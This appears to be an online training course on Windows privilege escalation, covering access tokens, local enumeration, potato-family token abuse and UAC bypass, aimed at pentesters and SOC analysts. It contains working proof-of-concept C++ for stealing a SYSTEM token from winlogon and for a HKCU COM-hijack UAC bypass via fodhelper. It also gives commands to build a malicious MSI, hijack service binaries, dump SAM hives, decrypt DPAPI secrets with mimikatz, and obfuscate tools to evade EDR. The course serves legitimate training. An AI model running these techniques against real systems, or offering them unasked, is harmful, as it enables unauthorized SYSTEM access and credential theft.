g3tsyst3m // course material

Windows Privilege
Escalation

From Foothold to SYSTEM — A practitioner's course for junior pentesters and detection-minded SOC analysts

Windows Only Intermediate C++ Templates Python Templates MITRE ATT&CK Mapped
01
Module One

Understanding the Windows Security Model

// Before you exploit it, you need to understand it

Learning Objectives

  • Explain how Windows makes access control decisions at the kernel level
  • Describe the role of access tokens, integrity levels, and SIDs in authorization
  • Understand Mandatory Integrity Control and why it exists as a defense layer
  • Use Python tooling to inspect token state on a live system

Access Tokens & the Privilege Hierarchy

Every process in Windows runs in the context of an access token — a kernel object that encapsulates the security identity of the thread or process. When a user logs in, the Local Security Authority Subsystem Service (LSASS) builds a token containing the user's SID, group SIDs, and privilege set. This token is then inherited by every process spawned in that session.

The privilege hierarchy flows from SYSTEM at the top, through high-integrity administrative processes, down to medium-integrity standard user processes, and finally to low-integrity sandboxed contexts like browser tabs and downloaded executables. Your job as a privilege escalation practitioner is to find the paths that allow movement between these levels.

  • A primary token is assigned to a process at creation and represents its full security context. An impersonation token is a temporary token a thread adopts to act on behalf of another user — commonly used by services and RPC servers.

    From an attacker's perspective: if you can steal or duplicate an impersonation token with SecurityImpersonation or SecurityDelegation level, you can call ImpersonateLoggedOnUser() or SetThreadToken() to run code as that user.

    💡 Use GetTokenInformation(TokenType) to distinguish primary (1) vs impersonation (2) tokens at runtime.
  • Privileges are per-token rights that gate specific system operations. They exist in three states: present, enabled, or enabled by default. Many dangerous privileges are present but disabled at medium integrity — elevation or bypass is needed to use them.

    • SeImpersonatePrivilege — impersonate any authenticated user (potato attacks)
    • SeDebugPrivilege — open any process including LSASS
    • SeAssignPrimaryTokenPrivilege — assign a primary token to a new process
    • SeTakeOwnershipPrivilege — take ownership of any object
    • SeLoadDriverPrivilege — load arbitrary kernel drivers
    ⚠ Even 'disabled' dangerous privileges can be re-enabled with AdjustTokenPrivileges() if the privilege is present in the token.
  • Each interactive logon creates a unique session. Processes spawned within a session inherit the parent's token by default. Session 0 is reserved for services and runs in strict isolation from interactive user sessions since Windows Vista.

    Token inheritance matters for privilege escalation because spawning a child process with CreateProcess() clones the parent token. If you can inject into or manipulate a parent process before it spawns children, you may influence the inherited token.

    💡 CreateProcessWithTokenW() and CreateProcessAsUserW() allow explicitly specifying a different token for the new process — core to most token-based privesc techniques.
  • Restricted tokens are created via CreateRestrictedToken() and are a subset of a normal token — privileges and SIDs can only be removed, never added. They're used by sandboxes (Chrome, IE protected mode, AppContainers) to limit what a compromised process can do.

    As a pentester, restricted tokens are relevant when you're trying to escape a sandboxed context. The key insight: a restricted token cannot access objects that its restricting SIDs don't have access to, even if the base token would allow it.

    • Restricting SIDs add an extra DENY layer on top of normal access checks
    • SANDBOX_INERT flag — disables AppLocker and Software Restriction Policies in the child

How Windows Makes Authorization Decisions

When a process attempts to access a securable object — a file, registry key, process, thread, or named pipe — the Security Reference Monitor (SRM) performs an access check. It compares the SIDs in the calling thread's token against the Discretionary Access Control List (DACL) on the target object. Each ACE in the DACL either grants or denies specific access rights to a particular SID.

Understanding this flow is essential because most privilege escalation techniques are fundamentally about either modifying a DACL, impersonating a higher-privileged token, or placing attacker-controlled content somewhere that a higher-privileged process will execute it.

Mandatory Integrity Control (MIC)

Introduced in Windows Vista, MIC adds an additional layer on top of DACL-based access control. Every securable object and every process is assigned an integrity level — System, High, Medium, Low, or Untrusted. The No-Write-Up policy prevents a lower integrity process from writing to a higher integrity object, even if the DACL would otherwise permit it.

This is the primary mechanism that UAC bypass techniques are designed to circumvent. When you understand why MIC exists, the attack surface becomes obvious: the system must have auto-elevation pathways for legitimate use cases, and those pathways are the target.

MIC operates in addition to DACL checks — not instead of them. An attacker needs to satisfy both layers. Most privesc paths target MIC boundaries specifically because DACLs are already well-hardened in modern environments.

SIDs, DACLs, and ACEs — The Building Blocks

A Security Identifier (SID) is a unique value that identifies a user, group, or computer account. Well-known SIDs like S-1-5-18 (SYSTEM) and S-1-5-32-544 (Administrators) appear constantly during enumeration and are worth memorizing. Every DACL is composed of Access Control Entries (ACEs), each specifying a SID and an access mask.

  • Security Identifiers (SIDs) appear constantly during enumeration. Memorizing the most common well-known SIDs saves time and prevents misidentification during a live engagement.

    • S-1-5-18 — NT AUTHORITY\SYSTEM (local system account)
    • S-1-5-19 — NT AUTHORITY\LOCAL SERVICE
    • S-1-5-20 — NT AUTHORITY\NETWORK SERVICE
    • S-1-5-32-544 — BUILTIN\Administrators
    • S-1-5-32-545 — BUILTIN\Users
    • S-1-16-8192 — Medium Integrity Level
    • S-1-16-12288 — High Integrity Level
    • S-1-16-16384 — System Integrity Level
  • icacls is the command-line tool for reading and modifying DACLs on files and directories. For registry keys, use Get-Acl in PowerShell or reg with appropriate flags.

    Key icacls permission flags to recognize during enumeration:

    • (F) — Full control (attacker can replace the binary)
    • (W) — Write (can modify content or append)
    • (M) — Modify (write + delete, often enough)
    • (RX) — Read & execute only (not exploitable via write)
    💡 PowerShell: (Get-Acl 'HKLM:\SYSTEM\CurrentControlSet\Services\vuln').Access — check IdentityReference and FileSystemRights on each ACE.
  • Misconfigured DACLs are one of the most reliable escalation vectors in mature environments where patch levels are high. The key is finding objects that privileged processes interact with but that non-admin users can write to.

    Priority targets during DACL enumeration:

    • Service binary paths — can we overwrite the executable?
    • Service image path registry keys — can we change where the service binary points?
    • DLL directories in the service binary's path — can we plant a DLL?
    • Scheduled task action executables — same logic as services
    💡 Tool: accesschk.exe -uwcqv "Authenticated Users" * — Sysinternals AccessChk finds services writable by the current user.
  • The DACL (Discretionary ACL) controls who can access an object — it's the authorization layer. The SACL (System ACL) controls what access attempts get logged to the Security event log — it's the audit layer. SACLs require SeSecurityPrivilege to read or write.

    Operational significance: a target object might have a SACL that logs all access attempts. Modifying a service registry key or replacing a DLL without checking the SACL first can generate detectable audit events even if the DACL allows the write.

    ⚠ During an authorized engagement, always check whether sensitive registry keys and directories have SACLs before touching them. Unnecessary audit events complicate report writing and may trigger SOC alerts.
Python token_inspector.py — Enumerate token integrity and privileges
# token_inspector.py # g3tsyst3m — Module 1 Template # Enumerates current process token: integrity level, privileges, SIDs # Requires: pip install pywin32 import win32api import win32security import win32con import win32process import ctypes INTEGRITY_LEVELS = { 0x0000: "Untrusted", 0x1000: "Low", 0x2000: "Medium", 0x2100: "Medium-High", 0x3000: "High", 0x4000: "System", } def get_integrity_level(token_handle): buf = win32security.GetTokenInformation( token_handle, win32security.TokenIntegrityLevel ) sid = buf[0] level = win32security.GetSidSubAuthority( sid, win32security.GetSidSubAuthorityCount(sid) - 1 ) label = INTEGRITY_LEVELS.get(level & 0xf000, f"Unknown (0x{level:04x})") return label def get_privileges(token_handle): privs = win32security.GetTokenInformation( token_handle, win32security.TokenPrivileges ) results = [] for priv_luid, flags in privs: name = win32security.LookupPrivilegeName("", priv_luid) enabled = "[ENABLED]" if flags & win32con.SE_PRIVILEGE_ENABLED else "[disabled]" results.append(f" {name:<45} {enabled}") return results def main(): pid = win32api.GetCurrentProcessId() proc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid) token = win32security.OpenProcessToken(proc, win32con.TOKEN_QUERY) print(f"\n[*] Token Inspector — PID {pid}") print(f"[*] Integrity Level : {get_integrity_level(token)}") print(f"\n[*] Privileges:") for p in get_privileges(token): print(p) if __name__ == "__main__": main()
Lab Exercise: Run token_inspector.py from a standard cmd.exe, then from an elevated prompt. Document the differences in integrity level and enabled privileges. Note which privileges are present but disabled at medium integrity.

02
Module Two

Local Enumeration for Privesc

// You can't escalate what you haven't found

Learning Objectives

  • Systematically enumerate a Windows host for privilege escalation vectors
  • Identify weak service permissions, unquoted paths, and registry misconfigurations
  • Locate stored credentials across common locations
  • Build and run a modular Python enumeration script

Enumeration Methodology

Effective privilege escalation starts with disciplined enumeration before any exploitation attempt. Rushing to a known technique without understanding the target environment leads to noise, failed attempts, and missed vectors. The goal of the enumeration phase is to build a complete picture of the attack surface and identify the highest-confidence path to escalation.

Enumeration falls into three categories: system configuration (OS version, patches, installed software), permission misconfigurations (services, files, registry), and credential exposure (cached credentials, configuration files, browser stores).

On real engagements, automated enumeration scripts generate significant event log noise. Know what your tools are doing and consider manual enumeration in high-security environments to reduce detection surface.

Service Misconfigurations

Windows services running as SYSTEM or a privileged account are prime escalation targets when their configuration is improperly secured. Three categories of service misconfigurations matter most: weak binary permissions (attacker can overwrite the executable), weak service permissions (attacker can modify the service config to point to a different binary), and unquoted service paths (attacker can plant an executable at a path that Windows will resolve first).

  • When a Windows service's binary path contains spaces and is not enclosed in quotes, Windows resolves it using an ambiguous path traversal. For a path like C:\Program Files\My App\service.exe, Windows tries these in order:

    • C:\Program.exe
    • C:\Program Files\My.exe
    • C:\Program Files\My App\service.exe

    If an attacker can write to C:\Program Files\, they can plant My.exe and have it run as the service account (often SYSTEM) on next service start or system reboot.

    💡 Find candidates: wmic service get name,pathname,startmode | findstr /i auto | findstr /iv "\"" — no quotes = potential target.
  • The service's DACL (accessible via sc sdshow <servicename>) controls who can modify the service configuration. If non-admin users have SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS, they can point the service binary at an attacker-controlled executable.

    SDDL string to look for in sc sdshow output: (A;;RPWP;;;WD) — this grants RP (start) and WP (write properties) to World (everyone). Any non-trivial write right to a privileged service is exploitable.

    💡 Change config: sc config <svc> binpath= "C:\\temp\\shell.exe" then sc start <svc>.
  • Even if the service DACL is locked down, if the service binary itself or its parent directory has weak permissions, the file can be overwritten directly. The service then executes the attacker's binary on next start.

    Check the binary: icacls "C:\path\to\service.exe" — look for (M), (W), or (F) for BUILTIN\Users or NT AUTHORITY\Authenticated Users.

    ⚠ Always back up the original binary before overwriting on authorized engagements. The service will be broken until restored.
  • When both HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated and the corresponding HKCU key are set to 1, any user can install MSI packages with SYSTEM privileges.

    Exploitation is trivial: generate a malicious MSI with msfvenom -p windows/exec CMD=cmd.exe -f msi > evil.msi and run it with msiexec /quiet /qn /i evil.msi. The installer runs as SYSTEM.

    💡 This is one of the first checks any automated tool runs — it's rare in modern environments but appears in legacy enterprise builds and dev machines.
  • Scheduled tasks run under a configured user context. If the action executable or its directory is writable by the current user, replacing it achieves execution under the task's configured account (often SYSTEM or a privileged service account).

    Enumerate tasks: schtasks /query /fo LIST /v | findstr /i "task name\|run as user\|task to run". Then check the binary path permissions with icacls.

    💡 Also check HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks for registry-based task definitions that may expose the action path directly.
  • Programs placed in startup folders or registered as autoruns execute under the logged-on user's context — useful for persistence but typically not direct privilege escalation unless the startup location itself is writable and a higher-privileged user logs in.

    Key autorun locations:

    • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
    • C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Credential Hunting

Credentials stored or cached on the local system represent some of the highest-value findings during a privilege escalation assessment. Windows provides several locations where credentials accumulate: the SAM hive (local account hashes), DPAPI-protected credential blobs, Windows Credential Manager entries, and configuration files left by administrators or developers.

  • The SAM hive stores local account NTLM password hashes. It's encrypted using a key derived from the SYSTEM hive. Both are locked by the OS while running, but can be extracted using Volume Shadow Copies or registry export with SYSTEM privileges.

    With SYSTEM access: reg save HKLM\SAM sam.bak and reg save HKLM\SYSTEM system.bak. Then use secretsdump.py or mimikatz offline to extract the hashes.

    ⚠ VSS-based extraction: vssadmin create shadow /for=C: then copy the hive from the shadow copy path — bypasses the file lock without needing direct SAM access.
  • DPAPI (Data Protection API) encrypts secrets on behalf of users and processes. The encryption key chain flows: secret → DPAPI blob → master key → user password (or domain backup key). Master keys live in %APPDATA%\Microsoft\Protect\{SID}\.

    DPAPI blobs are used by: Chrome/Edge saved passwords, Windows Credential Manager, RDP credentials, WiFi passwords, and certificate private keys. If you have the user's password or SYSTEM access, you can decrypt all of them.

    💡 mimikatz: dpapi::masterkey /in:<path> /password:<user_pass> then dpapi::cred /in:<blob> /masterkey:<hex>
  • Windows Credential Manager stores saved credentials for network shares, RDP sessions, and web logins. Enumerate with cmdkey /list — this shows what's stored but not the plaintext. If you have SYSTEM or the user's context, you can extract them.

    Types of stored credentials:

    • Windows credentials — domain/server credentials (NTLM hashes extractable)
    • Certificate-based credentials — PKI auth materials
    • Generic credentials — application-specific (often plaintext-recoverable via DPAPI)
    💡 RunAs with saved credentials: runas /savecred /user:DOMAIN\admin cmd.exe — if an admin has saved credentials, a lower-priv user may be able to use them.
  • These files are low-hanging fruit that appear frequently in real engagements — especially in environments where admins work interactively on servers.

    • PSReadLine history: %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt — admins frequently type credentials directly into PS commands
    • .rdp files: May contain saved usernames; passwords are DPAPI-encrypted but recoverable
    • unattend.xml / sysprep.xml: Deployment config files that sometimes contain plaintext or base64-encoded local admin passwords
    • web.config / app.config: Application configs with database connection strings
    ⚠ Always grep recursively: findstr /si password *.xml *.txt *.config *.ini — catches custom credential storage patterns.
Python local_enum.py — Modular Windows privilege escalation enumerator
# local_enum.py # g3tsyst3m — Module 2 Template # Modular privesc enumerator — add/remove checks as needed # Run from medium-integrity context to identify escalation paths import subprocess import os import sys import winreg def run_cmd(cmd): try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10) return result.stdout.strip() except: return "[error]" def check_unquoted_services(): print("\n[MODULE] Unquoted Service Paths") output = run_cmd( 'wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "\""' ) if output: for line in output.splitlines(): if ' ' in line.split(',')[-1] if ',' in line else False: print(f" [!] POTENTIAL: {line.strip()}") else: print(" [-] No obvious unquoted paths found") def check_always_install_elevated(): print("\n[MODULE] AlwaysInstallElevated") paths = [ (winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Policies\Microsoft\Windows\Installer"), (winreg.HKEY_CURRENT_USER, r"SOFTWARE\Policies\Microsoft\Windows\Installer"), ] findings = [] for hive, path in paths: try: key = winreg.OpenKey(hive, path) val, _ = winreg.QueryValueEx(key, "AlwaysInstallElevated") if val == 1: findings.append(hive) except: pass if len(findings) == 2: print(" [!!!] VULNERABLE — Both HKLM and HKCU are set to 1") else: print(" [-] Not vulnerable") def check_credential_files(): print("\n[MODULE] Credential File Locations") targets = [ os.path.expandvars(r"%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"), os.path.expandvars(r"%SYSTEMDRIVE%\unattend.xml"), os.path.expandvars(r"%WINDIR%\Panther\Unattend.xml"), os.path.expandvars(r"%WINDIR%\system32\sysprep\sysprep.xml"), ] for f in targets: if os.path.exists(f): print(f" [!] FOUND: {f}") def main(): print("=" * 60) print(" g3tsyst3m // local_enum.py // Windows Privesc Enumerator") print("=" * 60) check_unquoted_services() check_always_install_elevated() check_credential_files() print("\n[*] Enumeration complete.") if __name__ == "__main__": main()

03
Module Three

Service and Token Abuse

// The bread and butter of Windows privesc

Learning Objectives

  • Understand token impersonation at the Windows API level
  • Exploit SeImpersonatePrivilege in realistic scenarios
  • Implement token duplication and impersonation in C++
  • Recognize named pipe impersonation and its detection signatures

Token Impersonation Fundamentals

Token impersonation allows a process or thread to temporarily adopt the security context of another user. Windows provides this mechanism for legitimate use cases — a server process needs to act on behalf of a client, for example. The impersonation level determines how far the impersonation can propagate: Identification allows inspection but no resource access, Impersonation allows local resource access, and Delegation allows resource access across the network.

From an attacker's perspective, the goal is to obtain a SYSTEM-level impersonation token and use it to either spawn a new process or perform privileged actions directly. The SeImpersonatePrivilege right is the critical enabler — if a process holds it, token impersonation attacks become viable.

SeImpersonatePrivilege and Potato-Family Attacks

Service accounts (IIS AppPool, mssql, network service) typically hold SeImpersonatePrivilege by design. Potato-family attacks exploit the way Windows authenticates COM activation requests — by coercing the SYSTEM account to authenticate to an attacker-controlled endpoint and capturing its token in the process. JuicyPotato, RoguePotato, and GodPotato represent successive iterations of this technique as Microsoft patched each variant.

  • COM activation goes through the COM Service Control Manager (RPCSS). When a client requests a COM object via CoCreateInstance(), RPCSS authenticates the request using NTLM. Potato attacks force SYSTEM to authenticate to an attacker-controlled endpoint in this flow, capturing a SYSTEM-level token in the process.

    The coercion works because certain COM activations are triggered as SYSTEM internally — the attacker doesn't need to coerce a user, they set up a fake endpoint and wait for the OS to connect to it as part of normal COM infrastructure operation.

  • JuicyPotato requires a CLSID that can be activated from the target service account's context. Not all CLSIDs work on all OS versions. The original JuicyPotato GitHub lists hundreds of tested CLSIDs by OS version.

    If a CLSID fails, rotate through alternatives for the target OS. Common reliable ones for Windows Server 2019: {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}. For Windows 10 1903+, use RoguePotato or GodPotato instead.

    ⚠ JuicyPotato does not work on Windows 10 1809+ or Server 2019+ due to DCOM authentication hardening. Use RoguePotato or GodPotato for modern targets.
  • RoguePotato adapts the potato technique to work post-JuicyPotato patch by using a fake OXID resolver (a component in the DCOM infrastructure) rather than directly abusing RPCSS. It spins up a local fake OXID resolver on a configurable port and redirects DCOM activation through it.

    Usage requires a redirector on the attacking machine (or port forwarding) to relay traffic from port 135 to the fake OXID port on the target. Works on Windows Server 2019 and Windows 10 20H2.

    💡 RoguePotato is more infrastructure-intensive than GodPotato. Prefer GodPotato on modern targets unless you have specific reasons to use Rogue.
  • GodPotato is the current state-of-the-art potato variant, working against Windows Server 2012-2022 and Windows 8-11. It abuses the ImpersonateNamedPipeClient() flow via a new COM activation coercion path that wasn't patched with previous potato mitigations.

    It requires SeImpersonatePrivilege (standard for IIS, MSSQL, WCF service accounts) and produces a SYSTEM-level token reliably without external infrastructure.

    💡 Basic usage: GodPotato.exe -cmd "cmd /c whoami > C:\\temp\\proof.txt". EDR detection is high — obfuscate or use the technique manually via the documented API calls for stealth.
  • PrintSpoofer abuses the Windows Print Spooler service to coerce SYSTEM authentication to a named pipe the attacker controls, then calls ImpersonateNamedPipeClient() to capture the SYSTEM token. It does not use COM/DCOM and therefore evades some potato-specific signatures.

    Works on: Windows 10 (all versions), Server 2016/2019. Requires SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.

    ⚠ PrintSpoofer may not work if the Print Spooler service is disabled — increasingly common in hardened environments since PrintNightmare. Verify: sc query spooler.
  • Quick reference for technique selection based on target OS:

    • Server 2008 / Win 7: RottenPotato or JuicyPotato
    • Server 2012 R2 / Win 8.1: JuicyPotato (most CLSIDs work)
    • Server 2016 / Win 10 pre-1809: JuicyPotato or PrintSpoofer
    • Server 2019 / Win 10 1809+: RoguePotato, GodPotato, or PrintSpoofer
    • Server 2022 / Win 11: GodPotato (most reliable)
    💡 Always check winver or systeminfo | findstr /B /C:"OS Name" /C:"OS Version" first.

Named Pipe Impersonation

Named pipe impersonation is a lower-noise alternative to potato attacks when the environment is heavily monitored. An attacker creates a named pipe server and convinces a higher-privileged process to connect as a client. Once connected, the server calls ImpersonateNamedPipeClient() to assume the client's security context. This technique is particularly effective when you have code execution in a service account context and can trigger a privileged process to touch your pipe.

C++ token_dup.cpp — Token duplication and impersonation PoC
// token_dup.cpp // g3tsyst3m — Module 3 Template // Demonstrates token duplication and process creation under impersonated context // Build: cl.exe token_dup.cpp /link advapi32.lib // Run from a process holding SeImpersonatePrivilege #include <windows.h> #include <tlhelp32.h> #include <stdio.h> HANDLE GetSystemTokenHandle() { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnap == INVALID_HANDLE_VALUE) return NULL; PROCESSENTRY32W pe = { sizeof(PROCESSENTRY32W) }; HANDLE hToken = NULL; while (Process32NextW(hSnap, &pe)) { // Look for winlogon.exe — reliably runs as SYSTEM if (_wcsicmp(pe.szExeFile, L"winlogon.exe") != 0) continue; HANDLE hProc = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID ); if (!hProc) continue; if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { CloseHandle(hProc); break; } CloseHandle(hProc); } CloseHandle(hSnap); return hToken; } int wmain() { printf("[*] token_dup.cpp — g3tsyst3m\n"); HANDLE hSourceToken = GetSystemTokenHandle(); if (!hSourceToken) { printf("[-] Failed to acquire source token. Need SeImpersonatePrivilege.\n"); return 1; } printf("[+] Source token acquired from winlogon.exe\n"); HANDLE hDupToken = NULL; if (!DuplicateTokenEx(hSourceToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) { printf("[-] DuplicateTokenEx failed: %lu\n", GetLastError()); return 1; } printf("[+] Token duplicated successfully\n"); STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = {}; si.lpDesktop = (LPWSTR)L"winsta0\\default"; if (CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("[+] Process spawned as SYSTEM — PID: %lu\n", pi.dwProcessId); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { printf("[-] CreateProcessWithTokenW failed: %lu\n", GetLastError()); } CloseHandle(hDupToken); CloseHandle(hSourceToken); return 0; }
Technique MITRE ID Sub-technique
Access Token Manipulation T1134 Token Impersonation/Theft (.001)
Create Process with Token T1134 Make and Impersonate Token (.003)
Named Pipe Impersonation T1134 Named Pipe (.003 variant)

04
Module Four

UAC Internals and Bypass Techniques

// Understanding why UAC fails before showing how

Learning Objectives

  • Explain the UAC auto-elevation mechanism and its attack surface
  • Implement and understand COM object hijacking for UAC bypass
  • Understand fodhelper and CMSTPLUA bypass techniques at the API level
  • Identify detection signatures each technique produces

What UAC Actually Does (and Doesn't)

User Account Control is a consent and credential prompting mechanism — it is not a security boundary in the same sense as a kernel exploit mitigation. Microsoft's own documentation acknowledges this. UAC's job is to prevent accidental privilege use and to make privilege escalation visible to the user. A determined local attacker with code execution can almost always bypass it.

The attack surface exists because Windows must support auto-elevation for a subset of trusted, Microsoft-signed binaries. These binaries are allowed to elevate without a UAC prompt because they are trusted to know what they're doing. The bypass techniques in this module all involve abusing the context in which those auto-elevating binaries execute.

🔴 UAC bypass requires the attacker to already have medium-integrity code execution as a member of the local Administrators group. This is not a technique for gaining initial access — it's for removing the medium→high integrity barrier after you're already in.

The Auto-Elevation Mechanism

When a process marked as autoElevate in its manifest runs from a trusted directory (typically System32 or Program Files), Windows elevates it without prompting. The Application Information service (appinfo.dll) is responsible for this decision. It checks the binary's manifest, verifies its signature, confirms the path, and if all checks pass, creates a high-integrity process without user interaction.

The bypass opportunities arise in the gaps: auto-elevating binaries that load COM objects from HKCU (which is writable at medium integrity), binaries that resolve DLLs through a path the attacker controls, and binaries that execute child processes whose command line the attacker can influence via environment variables or registry values.

  • The autoElevate element in an application manifest signals to Windows that the binary should be elevated without a UAC prompt when run by an administrator. This flag is only honored for executables signed by Microsoft and located in trusted directories (System32, Program Files, etc.).

    You can inspect any binary's manifest with: sigcheck.exe -m C:\Windows\System32\fodhelper.exe (Sysinternals) or extract it with mt.exe. Look for <autoElevate>true</autoElevate> in the output.

    💡 All auto-elevating binaries are attack surface. Each one that reads from HKCU or loads DLLs from user-writable paths is a potential bypass.
  • The Application Information service (appinfo.dll, running in svchost.exe) handles UAC elevation requests. Its decision flow for auto-elevation:

    • Is the calling user a local admin? (token contains Administrators SID)
    • Is the executable signed by Microsoft?
    • Is the executable in a trusted directory?
    • Does the manifest declare autoElevate?

    All four must be true. The bypass strategies all attack what happens after the process is spawned at high integrity — specifically, what DLLs it loads and what registry keys it reads in its elevated context.

  • TrustedInstaller is a separate service account (NT SERVICE\TrustedInstaller) above SYSTEM in the Windows object hierarchy. It owns core system files and registry keys that even SYSTEM cannot modify. Auto-elevation elevates to Administrator level (high integrity), not TrustedInstaller.

    Reaching TrustedInstaller requires token manipulation techniques beyond auto-elevation — typically by enabling SeDebugPrivilege from a SYSTEM context and duplicating the TrustedInstaller service's token.

    ⚠ Most privesc chains stop at SYSTEM. TrustedInstaller is only needed for patching protected system files — rarely required in penetration test scenarios.
  • appinfo.dll verifies the binary's location is in a trusted directory using a path normalization check. The check can be bypassed by creating a junction or directory structure that makes an untrusted path appear trusted — but this is generally mitigated on modern Windows.

    The more common failure point is what the verified binary does after it's elevated: if it reads HKCU for COM CLSIDs, resolves DLL paths using user-controlled environment variables, or writes to paths the attacker controls, the path verification becomes irrelevant.

    💡 Process Monitor with admin rights shows every registry and file access a binary makes at high integrity. Filter on NAME NOT FOUND + HKCU path to find hijackable reads.

fodhelper UAC Bypass

fodhelper.exe is a Windows binary (Optional Features manager) that auto-elevates and reads from HKCU\Software\Classes\ms-settings\ before executing. Since HKCU is writable at medium integrity, an attacker can plant a shell command in that registry path and have it executed at high integrity when fodhelper reads it. This technique has been in the wild since 2017 and is flagged by most EDR products — its value today is primarily educational for understanding the COM hijack pattern.

COM Object Hijacking for UAC Bypass

The more generalizable pattern is COM object hijacking. Many auto-elevating binaries instantiate COM objects using CoCreateInstance. Windows resolves COM CLSIDs by checking HKCU\Software\Classes\CLSID first, before the machine-wide HKLM. If the attacker registers a malicious COM server under the target CLSID in HKCU, the auto-elevating binary will load the attacker's DLL at high integrity.

  • When a process calls CoCreateInstance(CLSID), Windows resolves the CLSID to a server executable or DLL using this lookup order:

    • HKCU\Software\Classes\CLSID\{guid} (user hive — writable at medium integrity)
    • HKCR\CLSID\{guid} (merged view of HKCU + HKLM)
    • HKLM\SOFTWARE\Classes\CLSID\{guid} (machine hive — requires admin)

    Since HKCU is checked first and is writable without elevation, any auto-elevating binary that calls CoCreateInstance() is potentially vulnerable — the elevated process will load the CLSID definition the attacker planted in HKCU.

  • The methodology for finding UAC bypass targets with Process Monitor:

    • Run Process Monitor as admin, then trigger the auto-elevating binary
    • Filter: Process Name is fodhelper.exe (or target binary)
    • Filter: Result is NAME NOT FOUND
    • Filter: Path begins with HKCU

    Any HKCU registry key the elevated binary tries to read and doesn't find is a potential hijack point — plant a CLSID registration there and it will be loaded at high integrity.

    💡 Save the ProcMon filter as a .pmc file for reuse across different target binaries.
  • InprocServer32 specifies a DLL to load in-process into the calling process. LocalServer32 specifies an EXE to launch as an out-of-process COM server. For UAC bypass, InprocServer32 is preferred because:

    • The DLL loads into the elevated process's address space directly
    • The payload runs at the elevated process's integrity level
    • No separate process is spawned (lower detection surface)

    Planting a LocalServer32 launches a new process which may not inherit the full elevated context and is more visible in process telemetry.

  • CMSTPLUA ({3E5FC7F9-9A51-4367-9063-A120244FBEC7}) is a well-known UAC bypass target. The cmstp.exe binary (auto-elevating) instantiates this COM object. By hijacking the CLSID in HKCU, a payload DLL is loaded at high integrity.

    CMSTPLUA is older and heavily signatured by modern EDR. Its value is primarily educational — understanding the pattern lets you apply the same methodology to find novel, unsignatured targets via ProcMon analysis on a target system.

    ⚠ CMSTPLUA bypass is detected by Windows Defender with default signatures. Use only in lab environments or develop novel targets via the ProcMon methodology above.
C++ uac_bypass_com.cpp — COM object hijack UAC bypass PoC
// uac_bypass_com.cpp // g3tsyst3m — Module 4 Template // UAC bypass via HKCU COM object hijack // Target: auto-elevating binary that loads attacker-controlled CLSID // Build: cl.exe uac_bypass_com.cpp /link advapi32.lib shell32.lib // Prerequisite: Medium integrity, user is local admin #include <windows.h> #include <stdio.h> // The CLSID being hijacked and the auto-elevating binary that loads it. // Identified via Process Monitor: filter on NAME NOT FOUND + HKCU path // This is a placeholder — identify your target CLSID via live analysis. #define TARGET_CLSID L"{YOUR-TARGET-CLSID-HERE}" #define AUTOELEVATE_EXE L"C:\\Windows\\System32\\fodhelper.exe" BOOL PlantCOMHijack(LPCWSTR clsid, LPCWSTR payloadDll) { WCHAR keyPath[256]; swprintf_s(keyPath, 256, L"Software\\Classes\\CLSID\\%s\\InprocServer32", clsid); HKEY hKey; LSTATUS ret = RegCreateKeyExW( HKEY_CURRENT_USER, keyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL ); if (ret != ERROR_SUCCESS) { printf("[-] RegCreateKeyEx failed: %lu\n", ret); return FALSE; } // Set default value to our payload DLL path ret = RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)payloadDll, (DWORD)((wcslen(payloadDll) + 1) * sizeof(WCHAR)) ); // Set ThreadingModel to avoid COM activation failure RegSetValueExW(hKey, L"ThreadingModel", 0, REG_SZ, (const BYTE*)L"Apartment", (DWORD)(wcslen(L"Apartment") + 1) * sizeof(WCHAR) ); RegCloseKey(hKey); return (ret == ERROR_SUCCESS); } BOOL CleanupCOMHijack(LPCWSTR clsid) { WCHAR keyPath[256]; swprintf_s(keyPath, 256, L"Software\\Classes\\CLSID\\%s", clsid); return RegDeleteTreeW(HKEY_CURRENT_USER, keyPath) == ERROR_SUCCESS; } int wmain(int argc, wchar_t* argv[]) { printf("[*] uac_bypass_com.cpp — g3tsyst3m\n"); if (argc < 2) { printf("Usage: uac_bypass_com.exe <payload.dll>\n"); return 1; } LPCWSTR payloadPath = argv[1]; printf("[*] Planting COM hijack for CLSID: %ls\n", TARGET_CLSID); printf("[*] Payload DLL: %ls\n", payloadPath); if (!PlantCOMHijack(TARGET_CLSID, payloadPath)) { printf("[-] Failed to plant COM hijack\n"); return 1; } printf("[+] Registry key planted\n"); printf("[*] Triggering auto-elevating binary: %ls\n", AUTOELEVATE_EXE); ShellExecuteW(NULL, L"open", AUTOELEVATE_EXE, NULL, NULL, SW_HIDE); Sleep(3000); printf("[*] Cleaning up registry artifacts\n"); CleanupCOMHijack(TARGET_CLSID); printf("[+] Done\n"); return 0; }
